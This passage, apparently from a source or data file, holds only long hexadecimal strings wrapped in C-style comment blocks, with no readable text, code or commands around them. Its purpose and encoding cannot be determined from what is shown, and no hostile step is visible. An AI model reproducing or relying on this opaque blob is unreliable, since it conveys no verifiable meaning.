1328538ad0c9389295ef51551659f14ceb1a69d242a2cd70220b7f6c80ef3612c3470a16e773a46dfe22cdf8c0e7081eef4470162d883dec3d72793f8099bc63feddf21bab92597e666606130d84e85940184460716803171bcea38afdb4b926246e353e44456460f6ab68b16e5212421f54d59cf9b5e730771de62bbfafb092d77830f098a82d78845d40da73945eb84d821f9821209ed6dbfae0e951c604f1d2f005f67ac8a7e681bc3845a0c8b63ad92a7949623cc5d9c82ab583f0e8c1fe5c9891a74f8126c870f7bd08b8a391dd1b604e6b410778ec1bb9ec56b7015e8d3c174b983ff76e8f4d970a24a96c4d6d018e831b158f78a790bc0fe08c02276e78def832af5a7ba058e66004903773e446d343b249093560588bd53c8718200e70e18dc5d5a35ddb527f6c52785bac959f3faede52192b5b301b9cfc52ebc8583968b63290303ccaa84f6f1ea638525c639cdc38eda3ef0f68762508477359a119117f64338e7318301f773396fa54c9826813e18c2b9c874f6bd6e1ea3ae6af9a526112c5463390bec690f5635aac1c59fa49a03beca91414732de34328008d9c838e89c90c2a461*/
/*8824544f79d6bc0a3cd7dbcca72e12c7ece4750adb7807a0e2a78832bcc4f19fc723b543b97e8919b75174f4c4b006df4e3636951289d22faa76dfd81572c039bd0b43bd830eb8cd32e243a1e3fe799ce3bcb76d9292ea1998bc13ceeacf6108e8e4cb4960b73dd12005e23e5b285f2ef5be6d9c513c686fd5ec0aac2f6f6dd1825ef457bb31836efa795bfe9604692c2ca4553e9b801665da5acc10dc20c10b892661655ec8826bc56281d5953f6bf53dff34ce431ffaf5ae5a27239c84005b578191b176d8832b2b442218ae428eb9a62a136483147ccf7def1158aa0ab4e28e2f0181d1e8b9b75bdaf7382c4cdb2afa96e62986c434858a612ce9115f1ff3cc566aeddbadc6144d1ea6f230664e0fbc433149bf0e7cedafded39ef282ce5ce291b9fdb5c306487ba7ae6efb48b7b36d5abcbbe566d1db3b8ecfd7de649ecc6d283e709cbb63ea59ee2421ca7169ee1faf6ec1d68e552e5378af39a3e3c0421918d5b7d56f39eacc47c2f7f0788a22e0e4c5eb0149c8476cbe12a4970cb4624d8e8c4d6b44aedd94005ec430634aea319448161c27116610a019147ead9d18ded667e8e96474425821ebc85c932dd2e6e1512b9de5d04838f883f5e07580d5e03ea1a692767bc53cdf6a37ced92693700fa8fa72366aedf52e862a00843903459a705730e921f5dca291f567c9f3a1cf1d77e4e21282d7f011913e397eca3fd8eb413ac5730f995b1d2c969e3718f7253a25e00af80210954b1499aadba56ef43909b5733640c528737e23c7a4bb0e0d0c394df1ea97f854c9f6eaf9b574fef2c0245859cde8b71b8af7467131a9d38a3c66fd96b4ff151fcef39dce0e311a1d58f47364b0a2e385e972445ececf8d18feb9993e4b7bd3120235ff3ff8ff4e9688b1431de2ca8bed5ac33c0ee4590de258eeb34f1304e707b349451b6e00d58088bdff57f374a1f720930bbb16e161211db7a50d419836fa287523b8349f5930547e9af78d963b164f3007336835277c3cfa32c287fa37a1daa748c05693c955b3e820bca4155827b641e7fc0d84a74fa678010b0aefa12c098f396cc2a62fcf4b99a20c627fb482764f7d5f456391abfe1c52c9d7486e9a3042ac449eac374a72dba8e9906c84e2dd7ef73135927b945fbafbe4aa857a7034cfc1b2d5e320896c1caff5bfb50c8bd569a0e3e57f13bb384bb972b948933e67c0eb0f3317289dff20ed8cb206c5c795c73517b9b71ace44adc2b4324905a6817a879bb351a89775364e6286c2c51905eb8f47eae9b8b18d04bd071bdabbfd22a8f0e576015837882b58d2b8372e6576edae15db649d0142e1c2ff0133ff00f476a617e4dba95bff6bb83fe316532f0486a635417c6a92cd125314978cf8d804a9bb0e2d723cd52881f7c3368268d02db9a003d15f5d1d4873d204f22daf988425f3b70fd8bbc07de989c55e84ca974f354744eeb4764419f2022e42202cbd0b4b890022649eef211b6a130f0631fe9c6e9a1d8312e2fbc341f4a24032a0240fe6c847e4cadd7c908bf2e058bdf4b8cceb37b5cc0a6b8298e76d30270f97b125dd92a11d8f5b3b6b05c655c57a9a2a7057ab38075cfae47c9d11a4f37a63e9630c8fee1d609d6f713e5eac228d6b2ab9a16a4276ee57916da6c9b60750d4259d749a376cc4dbdbca0606be1314cbefdc87647d01284fa0769404f45ee17f60874d392e67a3b2e70b51124aacbc4251a044117a355e9b68f651a029e61a89f930a43d0e91040b4e88b872f0fa1f245093de8ca40c7250c8680399bf6256e5b2686303acaa518ab2614679b4e1c3d6dae68389d5f312b8474e9a83ccd9dddb35cc99c3b7ee0baabe32d1543cd96c0b7192a5a64fcf3f3b3741d6298e2c1711bb163fa29061bdb15234cec26b2d89119a5e01c5a4260ac4d9277049d4ad8a7f360ae2414fa06c74d505a648176caefbb8ffb7384f1809da039ce36fafcc912e3f24c86284dbd167bfdf5bee46b3d4f09f20800c08f161230259989b215fc8c2ef68940fda1e7667f9d0db376a0fb677323aeb1b3d266a2507fb10c10795746bede78d305767b8eaca4846c228f357b14dd24e5cc46f844237cb19befdc6c439a450642eae5eb65d3724c58128db9ff6c19aadffc067b3df89ac3900c4dc0413f892fde46671ba5d23303c55cd514e051be7e3a187f65e1ba5675eb00b7ac2dfb84a6f751201c6597aa8d41cf5145950dd723137a383c5f46062fb6025ce8df831187920d9a966d896554d65b7ce200ca3b36619003029bef0e01acd126bb9c09155f71617f70f4569aebdda7a946362a828d87fa32885ab9a56ef3be542868582d65658c27085f9a83b6768e4a37b329f3ef4a6d965a813e340f35df8229ddaed8539158afa6c6149fe9a813922ec7e71f781053e4015f3d488bc69c5de37ef30207110d54297115e80f927e1301848b27531a4d32aa1eaa40c17ff92fe9b76ab71a6fbb43175adff8ecde877afd760e31e51de331da75a7dd737650b70260062ba43ce7261508f084215d573afe7db5c160ab2036f654c5974dce2aaa924d59dcfcca56ccf9d37339105a05b016ee648898fb54640c6f0e4df9b9bcccc7fac3b067b53afc0a519570f49e4278d015596623a5eb09f8c516149948c47aacae9a4b62621077e2ae3db14855ccd218f5baa055cd11d8bf28befe38dbccddd04aa6626acb356d6eddfe3a36a42af8f337d15de21bcbaf836f4f43450af28c5c98c8e0bf6e97d307efe95ea1564c3ac431db5e83d85efd1a11fb62bd0f905713fec91703b9bd840b66331c45e492b22127bb0ebe5dbb01a477c*/
/*eba619016b9c5c2099fb6a8e0a61d116315007471fd146dd6d691a726ea64e151368a90348a3edac19b8116381d1f227a574144723dd2948afc5ca846b87120a1edeb3ddf263d454d946ca7b1f63cd681cfe98a2192b016593d9073aae9d220bb753c2af661d46bc5ff0782385095fc3a4efce5f7d6aa262bbc41c188a146c66f7e8c7589beddb3e4942462c93f4bbae865e1aef5ae2b5c3a9ea94865a951b2e08d3b682ed092376c0fcb735034ceae5fc57177bb6481c03440eaae100a631fe13520fce6eb1ed3df1c74083b766579539cc33ccafdf268d635cf161f85407abf3b4fa65cac18f9eb2508a1c0e1a6b2c6e089973a14859c7ab4fb112a5ec10d5424753f2086cdbbd7ea7b3caf3519e703b008f1386fb12cfbe4891e07b3a38067a67389e51694316d5777ad1ce0231cc3b0cb55d6ae36e6dcf90aa461f3b88f0b1ae91277657d3b3d663639bc7adb733dcdd2ab073b6e44445548b1350dbeca6d800ad21396f461be0bb700227b38a220642b566f4978c004609ff29baef9f19eba651f529142df7920692eb67b5b7ef9a76580c0ac9277d20c54223715be18e348f1e724681837b3fd9d32d585a2b77ce2b24b126f6345281122ee13b567f85b01f9997f39d472c25550c65e86b0714f4f6eca4e91bfff7f917aa9090dd4f8cd5c96bbaa8192e1e8b800e749c6109913ab23d7e6ebd22358e0053739f7477167a548888d6e8b0487d441d686f9c81a66e11d056cb781fc412a6677e9d4cf2d934f17ff5c1ce7368bb4c89208b015d198839409a7bc68dcf9174848be87606b73538eeb410751c01a338ea9c2c93839dd4c57f4c6c712b82d8df17a948c7030764e91ea094068159012e54653844de2e18293c6ea970a2dbd5c61cca83542fe2eb2e0cea37650332b68e2dcc1e6c833d70002be98f661e7308d9f4aa20b61bcbf034968c2755bbd003dab63c73de2a13feabe6735ff4c83ea9bbcdd7827052d8360c72ce6053e1d61102579e0c3cf7392d1c8803a43689b511d05c66911cc2021dbbef6a762e7b15e80a108f093f297f1e0e580658cba9f91c7a609d517f68882f04927d558ccdf2533d0e419b7919f7c6fe8e696708c02f75a27c907be17c1c426274c76f8f6a2d98e32e2037c2c8f0f12ee4b755db524c5a787190c70c07394c745f31fccafeff9ff2dc626509aa7f7ac44135b0d8f88049d7437647a676c172cff696ea048dce2da082cde4466740cf9a9cede75bbd9824a26675baf6decb3a244d6bd7ea1e9d3f98141e74a509092d41e82a3ffc03155880fc45c0a44055aa9cf5b817afe1f899e9bb966433d39ed52a8199ef58ca5f5cf5cfc0d199e099328fd94e464cf73f88d31652ff6c3d517b83145288936025989bfd8be60435ec7b2f16b835b88c88ec13143cb0463641aa5b7b79dd1b14388c9634216227d709cce12a7e61768adeaa5bc637105be6ddb7a8ccaaf7f57736265dd38e3457dfbe7f1fef9e631bc0c25e4c21eb31cd7ffd230d5c76ee281eefe5c622c6a3c1843f8d5ccad34a585923ee8581e6ecc0b9df933f05ffb569b70734ea0fb08e61182050d48e52a49602f53e47625dc7400cbc962581b0d1dcde34be61d37c51dba8545e058f61ba1a8d86a711a6882926f511f35d7c8d6c5e9c186f762118e87a44275b85b8ad236150987110c80f6f92c8705a979c68cf359dbf051e362f8b352251536e8bdd5857023c16f1b3194d67a62cc1d379de06de80c0a28b392ed3c221da08a461bf0c8d882bc04a668e17c311f3916f1b687154ef9e907118e98692ebe960596554d78c9fd3b017079eefce8e3f2c58fd4c5b86913557f7977684b01ff6d7b8d3b8fea4a4efdaf6850048b959a9e572be0f152fa8bf9a4473c527e0b229f165a523dea6e97ca0b0b6d62cdd283101963f00ae6690fb3edeb399904053b2c94baf8f174afd8f95489551ec22a093be22ebf65f75d060cdb13e24a5bb89ea3828e9edd3a3a56d14c5eab59786ab8aa26f81a4fda21d795b0298746702b17ff5385964ddc4b94afbd74f62f343a32a9d104d954e3053714b346d44a2f510a6796fe1ff348d22243dc72341cc3d973fd7a6bd789266fb40106d3e3dda8348caf936f4bed9af601377f44b97ec0e79cad86f4a4f4aa498d1c950ba6c30fd16595f5f3cbf8ddca62623fe9f349bcb90b3e5d3cad3ca1921c659fcfb8e1e2767d6413fd73137a94192f6d1b8ae874cf179d8e135447e721740683f6552485c9a25d37e8b40a085a17e38818a3aa685dd645e63bd78fb224aedc073564b6b14528261cce9dd644f0e2a0a9bc39afdb32f14e586a843e0cebefb9e048f6596b2515e63d75dd5fce94a81e6b6bd4009cc00f11423d208a72ee26fda5a35e1932a6323548c94cdfa237a19a8d072fe380c73491cff1068a144d00f0d1183c49735f13c9f8fa748a5d0901ea61c7bd01cbb84cfecce438f041d8e011b59b1aaba4e06380416dec99b7f6678569a054d3f9a823ca4c8c9e364845f1e95e952858518b758c799fff3add57a356bcbf54564b4a2c4e94ff2bf16559dd653611c7c3047954cee22ecde7ced1548436db48c0b079d6f0e3128a69d00b2358727d47a73d50d461b9bb6f8f013341d5defeb6d4188689a351a50bc9d89936d8c107908f66b8345a5a94cba439406a4a72aeeabdef139c55e9b2bb21afe82428a173e66aa3ac48ea4c399fa7c64c60b884f60521d38e3332aaa9874be13f05eb4cb212d8cef85a8e6507594b13813393a831faf99c4eec61b0b5d7349045114dc37d4601d4346e2caaf8202f8f2322aaa409243b813ac6c*/
/*4e0971bd1a94a2b92c1b42549b9f6e625eb5dcc2a159efbe44da313dfe5711bff28edcec7e268ac97b8935593298a09da52cac8b9e241adc3f000deb96edf6fe1e7987fd565ccf0e501708b00c006b3f020e5eadf37cf7ea4231320ce532203aff5a72980f0256fb55273c934146481b7e0ec7eee7ae2c9e8da71e161e57993041f0903a8fcc2d0fc4fce43d52759f42d1a55333052ac75c1b882e82dbcd8fe23b78ef40996017f35319b477e43df7a16369400fc186a6f70a16c9ef79d856e346e4131bedf56d4a0acf663ebd336838c7a1149f56a486ee3e7b4ee08f6e1cd6a55cc387f80f94e310a07a5175bc32f821fc034562bd3ba6776c1ea6aa9c16b7e9e78fd3e9ae98a42932683fdef7c1b56e7762a1848fb6f5f12636166da37dfe5721d49d22f6bdf463af023869176918357ed97e9daa915247d2451f2b634a7f3c53e5d2bc47052e38bcbf5f960c849f4b106eb70fdb350df9148b2989367aef2dee289b986a80e66fa58929c5e82003c52ed393d3c40d3d8dd1fbe5c089536ade89d38241eca8f24f4bae64ec0f91958dfaf0072aebf1ec2a1b5ab18ed2cd61f1fb725fc6eaa7c21e0940ec894177430bb79127d9a1e7f4514d16cef808075b092fd12fd42febece42391543a09dc3e359d1dd625e3d989cfd93ada24d6f3f94753a27c8e30ef0c4eae839db40938b3868c77977744dcaea27ec8989f2e632bfcd237ec4ccf280680a060887b9ac964c70399534f5a781c3fb9ce33389247dfc09f86f2faa292c9ce8d1884bb72047541fcf9a16850f137843d38ee8d57706070efe9b42b04386a7ca3f9321e2027b1ed91d51a3431e256a28dba5b3f259645af759653d74f1a3d0ee38d65a64fa067916862439255678fd369435953c4857443feb3e1d621b52417a6489eea60ed59b13ca88af99de19455a3e32bf564691c653278d719b41b9207c698e1f3761e758a04135ff23314f1cba78846addae69322e52d6f1ccff0a573aa6c7a3e1eacb62520f1f2599a1e24b4b2af92cc0072d7be5e12c4279a45b0de38d5aaa16325bfc5c1eace8e57580c5774aacbe6e5aa4b1053664e89db6c453d984e1b67d888eab22d556368e55a7a1180c0893e27278f48b3588cdf45ef5de89c9071782689cf7fe20a6a47b3947681de939adbe043a72ef07a726dd96b668beda728b1be6113a94366f8b3eb453420e80fbcc5d67100fcfd2c499a7d6965cd51c9ba3d87bd7557656c1296b8e2903b518db0935454ea1e90a1072dbb407628d1cf11496f12dcd19c84a7572077da04ba5bd5714c3f672b89ef163b91e14527ea4fcf768249bd405429960fe56254122f6b89ba5502b03b7fa30031cf09481ff16d120238818a55f6faec4aefc336f189f8ca8f95b254974929107330ce7bc96897118a289925448f97ef5c74697f3f2682c0245f5da939e1485b0f4de18a1200aa60eb22a47d16ee683b62d901451a7203e83bcb921f781ed60aff3d793c2e600ed784eb0e8fa46f3268517f1c0ddd7cfebad7b62b6d7db9399892a8a3887848844ed2571b70b68ea171e826ee2ab295a44c40454e0878e3c45d29761afe9adf85d65e1847dd2eb6ae06a17a5b8f916610c7a9fdb836aea2c0088200d1f0770c4389c6f80e1c1772a91f38a8be18594cca889cdd3afd9889763e18de7ac40395291aa747a654f7b61933b3072b04086691b8147355549db7ee0fcf49a1702826bb84db745492701aebb9c34851499f62ac0b44cf34a757550bc9a819f3e5d7728f7a55e886e32b69de0c60291f95ef567cd22da6ae1ea107b57c2a14bcb64f952c6939f319d2af230f52a23e355d8e4867d46ca4769a50b20bb48f84cd656a47290f9abee1be073d259fc5c9118aeef19790cb4b6930e25d373dcafed1d2992b52f338a59a4fba2ae3ec21807aea03a65f9fd5616032d2924231ee3842ace924cdc9c41ca3a50de276ff7e5d20cd77d5abee76a7f435573ab80ae263a9a5e3e734fae9bb4e2e3135bcc717c698a5c78bf458fff92ca6f2dc953ebdf6c6c808f5dff80f200acf202afc0f95a8de42918463d2b0febc00f3610e355306b1cf60ca4a150901be078be148ad66d27e74dc7e1ee4be7299510e1f9b1c6863e6dff04f87ba56211329305b48b72b3c4e66139bdc255f0e6b1d19b5129a3b0e7a6c952ccdd1ae450fc488251ea6732e37e5b2b0c03f4d591930f70e373ed7a7dde8744969a3ece9ea0cd12f71213df4c8ab71724a83614ac216c72472dac4fdd7fce9830c78c568b029c57387f616818c8af60a45769e876eef219463466cca9a8430db7f327324c130983de8d9d0f08739d9a6f6c5fb0c5c8625e26aed7fbeb89f9d02a9bb08272b86a0a426769bab3ad45f0c75d331d9cf09d06aa072c5475b0388572072d040ad169fba0214bdb4d93c19dda6d2f7a1b65247f5a08f19e4397614723470dc59c225454e094e9fd932cd1e94812d958571f863223b7fe9780f4ca3c240927a2a70d59fc5d632215a4356969783ef4200cdb6b14474be7b228511e64c8023585ac7047f967e904e90c4e536f4b223aa2a91f531ef253ed6972989d8664f79710b33c5ce9751cedccb493bb89163a793ada50052a31ea28a2dae151e794c1058220d244971cb58e04dea9c25834e192116a7ad6b5222769c4c797799f423e581fc723e9c0c10a8a652914c5bafe9cf6408a1b831b22e3361c75207100b42cdd27f3cf3f33fda43046f685e0556192ae3fb551294aadc6a1ff5dc86a1004abfea5260e3c5e5130f2a5aa1f239aee102944e3b9a283b3ab02d8d1c3a84a037ae43ea1ef5*/
/*b14ad33d6f6ca0473c315f72c8b52baa9a8e36a3acac39d24955d16452c691b9c52901b4e13675c35f2a1ff2d39b3debaa2891cbd96eaf3781ae5337b79f5a25e7feaa4dc57642baead0e35d8b1ce733affa0ae1fea7bc84b07d3c1ea669756db6d95fef237fe41d0a2980151b96236697b8289375358fc317879b836dbaac052b6883139e24baedac51cb2ead2296c311d303b008e6be06f01f84ca92cc357ac07473e6bb9b56d784a8e7d299d748572a5736744e351bbe62b88d04157d19b7534d248c84ea2e8c88c8be2af00e5ae45babfd38267f182b437fa5842e991728229bd057fddb27059bf7b731568d04de342b8b695ad368d649a78fdf27a7a532041f1dd4e63de0361d97cd37f357f3d8dfadcf76ee3d96c43ec6aefed7ae4fbf06e6113e9deff65ae363e177a5e8774403ea68cd931aac7c9f4c8dddf9619abedf20589d7ca8d29de2b2e7ed714724662c8a6f238af2dc949db966a361f14c993f07eae267670b26280f36e0f429ef173bdaf5913b4c8ab67b5f0dfbf8c16543bb9036276ccc74e1f66b927c0fbf26e120a38e3110d6fd5edf8495dfa89dd36756c6590bcfdbea264603a331454c2f588bccbc581f409cf5279aa75ca2de5f41df1faaab37b3ca5f82276d797f34376612fe76efa0e50de2acc12e8246f0c18636e250e203d5efb4259cc9b34a70f9fcee03ecb13b5dd2087fc28ba7ed373b3d100cae3d2aa4b2dc29fa458401d9701b92343678130c3680ecc18bff63404064c98055771da4469154199786a941c48fd54e336a02fb3ea56ca6d65d10d9a83afd3ace6f2ea6ab7a5ffcfd3d6669acb461f827247b5468a6e72f395b6352ac8944552794710d5ac4feef707995f3ff523af17895d2c8a5aabf6144d4a4dfa46244876ec461746a7fe54931cd11d565c1b3f7d40b795576c1b7d4afc71793a577295917caaddbb0a93805246f72ece6b9d62b9731432cbfdaa7592572695bcfb5e5864b609c945080132eb1ab4156b83bc14e7ef41ececd23701bd7dfcdac5d6899e5432ac71428488b40901ba3d9f69f3093de8e25b0513befa3cf59435bac81d14ef9febd81cdff8d0fdd86df9e84f1a2cc0e2c16143ad4c27de1808fad4134212f76e17cf831bbefea2034734b0aec5a2efa3e779dc28a94239e02a7e1a9d9ccf2d765f30081f543516f9a4880c68f02821a9c9cc31d96e1043ff65bc13a713f35e2a3ad397ba2165873ede0cf7fa240da47050137c4b14d4c8e6bf9dc2bb335a625e00ff7b51d289edb25ed7812dc647a4d3f7ed18ffb586b7c14ad827e1a5d291ed6139f32cdf55a2c2dd6fa829b4dd3fd9282ae0c2315925690618548cc050afd8778b1ee1452182bd81252671037d414450e73f55caf3be50a9ea507bb49b79a36e5ee7b8d767fb4191f1d9a81114ad02e38fd300a219dd0e6e5c0cc277fdd3c2d5513bab86d7dad6dffadbded63084ad56c638b8f491655dffd1c2de4de97e8d6da88255922b31a85ef62d53cffa2e81eda200475a51170616136688d3409bb45de59d4ba06de369d75b9563c5127797e51380598f0089d0a94832e0be438befe6347cb997819eb5f4df99ce95de4e323f1a8f7737b4d40afd68257158afeb02753df48631b1671252cbdf365582980c0c04fea98e56cbe1a4155f27c9d82cb5f3c5f09d01d4869317005f1b1c327efa2d3d00fb38d7526f4d49884ca6025e98d2a45ceade31828589f8d84d5bbaf6d7c433ee3abc97e9f0b79cd3d76916265c40bf81b76e4bf5ccf07238bb2c6f683f511be0773557f083d130018d751c60dd7c7a7cf047ffa09f08d6e0ffaea793a71e8b400854c204be028244b5361ef557b470b5fd299e87a71f297acd9310a3cefe1d8bd59c2a82f8600b221ecdc5690bd91f95515366b71a6ef4b2d5ec910dcc071ffa6a4d2e9ff741398aa737ebf4dae49fa8b2139f0975a787746431eeff6dac5bdf0b864d32b5ede94f173082c20bb7a9964018109e6b3598557cfacc8a6f9f4c2ec19afd0d0ee68a606e3e6e21a86450589953eed2d3c31e3bf4425d3ebe34c11c471e5fba791086aba1b0943e6708674007534e1852c4b7c97fbfdcfda37add9ec6ab0c01a74c556b16512a1c8fd0de8244ac2ba5fddd7fdc530d7cedb36d98b50a8cb1167583ec9808efc2995b31ccefa6a7960fc13e6946755739f52208396c667bd051c1816593d4ab7d32752e4ec86f33a35c7e37000381e25c617b13250954364a1bec97d7addb9f713bb9c837fdbcbd999089ef301369615ac96a04331adac9d3571029cb83b5436729cf223888fcf75cae74f51e1800775770b3b8790afe5fd2dd678055523a77f50f86ebee368518bc5acc94ab24a10d0c17456319d330c156c7bf0d9da2c205c8423a6fb763fb808b8f921ae8323d6de7221bd9da63d78c4f848e169f91624b9575125a181b6ee3fc71458a5235c413ac167abf9a05563dbf42e467deb7361ea403e4c632969c4a5e87ac56a5270a8678e1ba1803a4e885e3706db83c09715722e0ea1ac40c6bf19fc64f4dbfb2a145e6ab5742f818524e1be93c9c4d1e39e01ac682c5b440ebbe9cac97dc487471800507e087c2952a54361d9968356e570433535d65a4ad3a2f0dcae1b5724d55d1dd6fcfe9a4ba1db9328a9fa0587e1015bdb9e183e3946c528b4baaa9d98a9fed1c5745adb1c7f6d440ed9d833a490d8d85467f4e6c3f2091579cada926bc9661b3af216c64ccb7522c8997e5c7f34b4bd0be61ccaac7d87bbcd61cc712b6620390a3f637c9d215c0f506db9ead5d35a7aa34348a1c08f6a86313bac4de694da*/
/*7e26bd8f8b36ad0836e8866e3fcd04f86fbed0f98f9df937d5532585ee78f89504bbc9fbae76cd426e866f4a2b55628d2a16524d7c287a7838797fd0f3f1e3699a42d23ce0b19289a39d8a956a3da3d9f32781a6d41b31c5ebed8ca52ebe0c2b05566d1a52ad84e28d914f29a5554827849164e0572cbd670a4223b03773b7ea55c979544fbd01bc5eab81d2f197c1ca3bacb25633a02f445da2d9707b740c570537db06635457b7a9dd593cc6d12a00c4a6d3df546139a15f34c01a2e9561118b0af2f189ad0dd2b89961b6211fdd467907d50de705549161016b1f622909acbf166e6b3b2dfcf5ac181011c87886e91073caf034798cfbc150e222929d06539f6ecacde0c8c2ab8413b0c16a7ed10e6413d13b91146a41949c82ef3ce2e3428b2df81621872d8573adfcc8bf164a4c93e66f2d4133a3b64009358213f1a651a4a4f939bcd472841acba91f0d52b333234938e42343cc22bd5d1648c1266db838aba04e91dd77dce661b4df68e868995ae2b989b4c9027c15249a34b0ffa0b54530e1c146c2db7ae8c716f064b3fbf73831c345caa9f49d587b53fb131f660c2c7a239236caa8a651122fe705142ea793f5095d08eaac6f4e6989aa54c96d140b576689f65e03e716bc4c41bee76a2a721efe075a7a771b192db1447ea0be9a7e79a971d1291885476c598485be501f96e7d8fb96c8ff87437c3bf12840ebb43ca29c742742684bb5499495d29966423a1be0b2e1a214fde3b022cf2670a95aa588e827cf78342fb4aad5db18abf39ccb3ab06754b7e671efafcf0614b750c88859f07502ea7da013697799532f0bfb7153cd5c877dc7723ad660d8098507252d0e0094f8f58c2b50ea1ae6802a2e55d765d353059a5ecbcfc43d97ac17570ea3a3cfa47570aec4ef488bb78575ec6be2cb698d3c34fd20444dc72fa10d6a9e1cf684a49793e228a0e2114389b32095c893c04c3104d8995cbad78edca092960fc49972d25c5eb794f3e8c931ecd3a33bab2a739612d95390ec6cb5f05f917c8ddd4e0b778272c49c7932d454f02bfe7287cc659bae9e93d0aa1c69fa4c169fc4da484fa23a88ad61011bd847c696649733fa7f6ff2a51bc7e68e3c6e4597abd0c0aec38f90382ded01e5bd040c6d2d4c717fdd0d71ec6c368ad6d2cd4b13e4898dc08c97e654d622d6d81ec3e5ca088ac996bfc4f66bc0ddb55c978f9fb1084651eea20c90e741794636e22e1082e41f23c147127f5ec368bbae9c92d5af9b2d22fa00f0d3334b8a49363b68756e549ffb7f3681bbd86be5e63e872a67a8556505bf0a8e30eee9696ac6ebe90f14d11058ce46063d2c7aa1ed6d6500c2b38539facd55ccce7ac0ee8fe646aee48395eacff1c1af5bcd92d89051909ab44e79f789a26768e142a10239127ed969d9e629342bf177ab20cbf14259ba824db1b3d2e3b1e762d8fa2528df5a6e98f459556245452bac586e0d22ee2763d968300fa1993792e9c7d31a2f78b2ee5776c76d764ea447512de7ab5394f964657347c3acbc06688fc991725719bf08b31c640ae2086eb49616fd3ec086beb22ea911dbe8bc0204032f32cac2cbbbe749bb498e8aa6620dc9639d5059b4a738b3f9f7ba49c10c99ff13850f16a7b0b395f4332b362f0160c22895b0a84f59de6e1924b7be27a6e24c2b50eb50821cd76c9ca0641b8f2d70cf598d4189cb6aa5483568d98a19a3d0f43e301118492469084258de856ef557b4ac1d12e3e1a9508087a3ae0c93abad03c4baa492888958509dbc4b06a36e9735d154fbc2c6f78ab02d27a5b5ac7354e75cb763753e98b9646e351e63cb8d259ee9feef20f98f3340445b88e7b269330a357bfe7de4b3817547d1d06e934fa29a238c7105804e3d713d052bce9c96d2e5dea5e1c28fc88bb68d2182304e74798d19a83d9e3747a2a474bba70da8a875eb375055575373faee030f66d50d606c286541b6cdd402a72eb4d18ef49383c1bf349b3ab320a0a4188f939dea73636e6fc474a85b7cf0c7bcf2ac4f122a7fa54c7ccb9f21359e6f7a6391649e653093627c546e98d1ceae5e9bc32dcadb89f0520791a66da4cc081441300a95b43eead3590fe00b7ed36e982c07c8b915063d170ee0a0ef18f481074ab153be7337ef9fe5e914a482698825434227bcf3e2f45fea08d5acc55ad3b0d12a28e4bd1a6d2393b693778297c5fb14a90f986bc53e3c3570674e2cd2c24415530100b23f5a39d7c3f07736b41bce58b1a28d9787b56b26558c4a6cdc51fdd4eefac823bf19e82c5d18e84d2fd80c27c8ffa258514ad8885c69a2e843a05755cc3b6c0eb249fe5e093d59ad6f6c612f89d9abc0bac64b1fa8a133291e82a48994e22c0203f3ef125ecf07208652f1db3c19339eedd0fddcd1c7141f0792e051c4338f2ece7b3a80294404e63bb9157b96a45728227c507a95cf993a5ad96f67d159f9d6a25f890ba82124d519672be99d3a93158f22caeb02d10df18e009659ac8ffed6fd3e64a1ac2dce0efa2ad2f1320c1da0f35a964f4af8fa479f8c5335c03f88cd356ea14c9663c7898b4619580034372b7d7e4c8d49c5468a18ea4bc753da1bcb218c5ed1a9caefb0eee8b55789697dd4c92a43da3b0e2045a3a2236b26bcc2385383e17335853891120d25ce8e6b41e800631470f15122dbe780724b4c085ae24522e4658a261e2d32a039c6bff3964bcf2861f5b9a1275a3eee3a2fd85767f16a08c5e8a1cabc793c5053f79d727506df869ce25d8efba00d63335cc8b727ffc2c4f443a921d18f6c3dfe2f8f75083416b223d6ba799656eb6c71906e3c*/
/*5d6dfc125675524ec0f3dae8d5cd44833e7ff0d18be602f54c9704fc3aaff6d8fe00746d635c26cd2d7fcef53508184322982769b5c52afc313d3f829552d715b6232e166dad865251aa8d5d18c182fac3754f35e925e497143c9b9e253f52634030bee18b67358338c37abce962e75e92448700371656bbd6f0d2c6d9c7a038a7e8937bcc7424a11941dbf24b43bd028dcfa62461fbb45dcd08fb09e411c4c149d27ae57a3561da97db5b3ca3d3bdeaaef95a3613ca38cea8dc2433fb3384fca2beab2e7c9055c68a8581e2a77b31d2d4421796f53169ab3c05a29f58a35d49f576a2138b7eb932abb37b879cd47d69e8ed53fc58b957cc092e741c8b753e3874444effe38fd27c8dd94eaa99351bbce4ef8ca4422f4b24a0a44294d9164e7362b5f8fbd1ef561cc5212e98415943d91027e79fe8a474d2465c355e615e7bd16a2a2a550be56209b334170e93994645f7f61983f7fcb16b6401176033685d91eeb7e933c0dc598f7f8495785080176456c3d9d4e5170292cbe451b01a899ea6d11d109733abf1a0b0f7f4a337ce38ce1780a50f97602d4c6dae8e532cd09a6e6e743e9ee42f7b04ad3c9c2a1ebcd482181a89978bec0acb24a48cfb6a4ded3bc7dc058f76ff9a9808ddd894db58b2e2b0b05c48510769c4a92eb111a7e6af61c2ce166d5763ff72aa7be9f4df649ae7a16eee778a00c6fd373ae32b9c338f5706368e8304689bb260966d05b032cacba727596ffc039ed44bd304be8bd782f1438cd6e568bfb749ccd5988946d4ef0a000bc1311c27252674081fe397f7eda3bfc543b4404d12a0c44d64d6ba11511f5650bfcde5734909cda44186882c9ea9b5aeaa380aae7dc6c2ef3da5407c299d6efbb16e3e1cd2cd9d34ad6a7c3f00e49b2339ec025360de71237247b142807e7cc3cd1b4a04bb3b089c4db2a8892ee9bb7bcff3316716af7d0fd4dc33123b19d3d93e309021b9592aa830599871a17449e6caa06bec63a515c9ac1b366b88fd8ba8597b6bce262ff33f6fd1ad74de7d62b0cacfebb4c67da50285789049c0621df17e0d0af6a697204b23571d47b53ea863a28f95ab1bc063e0447ef1caff237ba9ce17afe74f48e1b2e7aa5c8daf37dae83932711f33723addbb21d8becbf5b8ba0cb1d35a7bbe7bceadd0b7510cacde5339cf97d9589b1ffe66a948963dca06bb11a7ab9443cafd7209b47656806a1858c2dba4f67a8157314550b7923550705f366d702bd90bdb01e5414495a711eccaaa5e11ccdf8db841eb62444b8275deab6f37ea3e93fb156627e7e9127c9ab881338089fc4670e926e7c6312e3d989a9fe67792e1e0659b51bade8a732b2cf4fec988ebc077967e32eaea581b54eeea453485b0234571942015b792a0baa3819c96a3c3a1a5e0cbca0733449a574e249fb3bb1754d85ea285e4538ec9015e8dc346ae3b6ecd2dd83d2d0176cd1a76f31b224af70363138983263909cdba452f5091ca3f0d16fed5876695197616c1f99f76f240e9c04eaec045c979f8d0f6fccf2db545f39bca4587bb61e7de5079336148da9d0a6fdb77e67200a867f058128ee72d0844143567491d243eff8f03307383311f5f95c93ba85bcd5efc63dab94dbcfdd0a95d850a9ebe0dd09f